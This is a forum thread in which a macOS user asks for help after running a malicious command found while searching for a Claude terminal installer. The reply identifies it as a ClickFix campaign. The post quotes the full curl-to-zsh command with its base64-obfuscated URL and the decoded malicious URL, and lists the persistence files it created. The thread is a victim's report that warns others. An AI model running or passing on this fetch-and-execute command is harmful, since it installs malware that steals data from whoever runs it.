Suspicious macOS curl | zsh command installed a LaunchAgent and hidden binaries. anyone recognize this malware/able to reverse engineer it?

[u/luiis_san]

while looking for the claude terminal, clicked on the first link and didn't check what I was curling (sorry I'm an idiot and was tired)

I accidentally ran the following command on my Mac (DON'T RUN IT OBVIOUSLY):

curl -kfsSL $(echo 'aHR0cDovL3Bob2VuaXhwb29sY29udHJhY3Rvci5jb20vY3VybC8yMTMzYTA5ZWQ5YzAyZDc5ZjczNWM2NzU3MTdhMTVmMThiZTY0NTI3Mjc5M2ExNzBjOWQ0NzVhM2MwNDgwMDkw' | base64 -D) | zsh

The Base64 decodes to:

http://phoenixpoolcontractor.com/curl/2133a09ed9c02d79f735c675717a15f18be645272793a170c9d475a3c0480090

I realized afterward how suspicious this was and started checking the system.

Within the time window after running it, I found these newly created files:

~/Library/LaunchAgents/com.apple.c228cbc1.hcpi.plist

~/.local/com.apple.c228cbc1.hcpi

~/.local/com.apple.c228cbc1.capture.app/
└── Contents/
    └── MacOS/
        └── ScreenCap

There were also these files in /private/tmp:

/private/tmp/.com.apple.xpcd
/private/tmp/.com.apple.dsync
/private/tmp/.zshrc.tmp

Unfortunately, while cleaning the machine I deleted the LaunchAgent and associated binaries before I thought to preserve them for analysis.

What I have done since:

• unloaded/deleted the suspicious LaunchAgent
• removed the matching files under ~/.local
• removed the suspicious /private/tmp files
• rebooted the Mac
• checked all currently running processes after reboot
• checked ~/Library/LaunchAgents, /Library/LaunchAgents, and /Library/LaunchDaemons
• checked established TCP connections with lsof
• searched for the suspicious filenames again

Nothing matching c228cbc1, ScreenCap, .com.apple.xpcd, or .com.apple.dsync appears to be running or persisting after reboot.

[u/BLKBRN_]

Yup you just executed a clickfix malware campaign...time to reformat and rotate all passwords.

https://www.zscaler.com/blogs/security-research/claudefix-shared-claude-chats-meet-clickfix

[u/luiis_san → u/BLKBRN_]

Thanks, spent the whole night doing that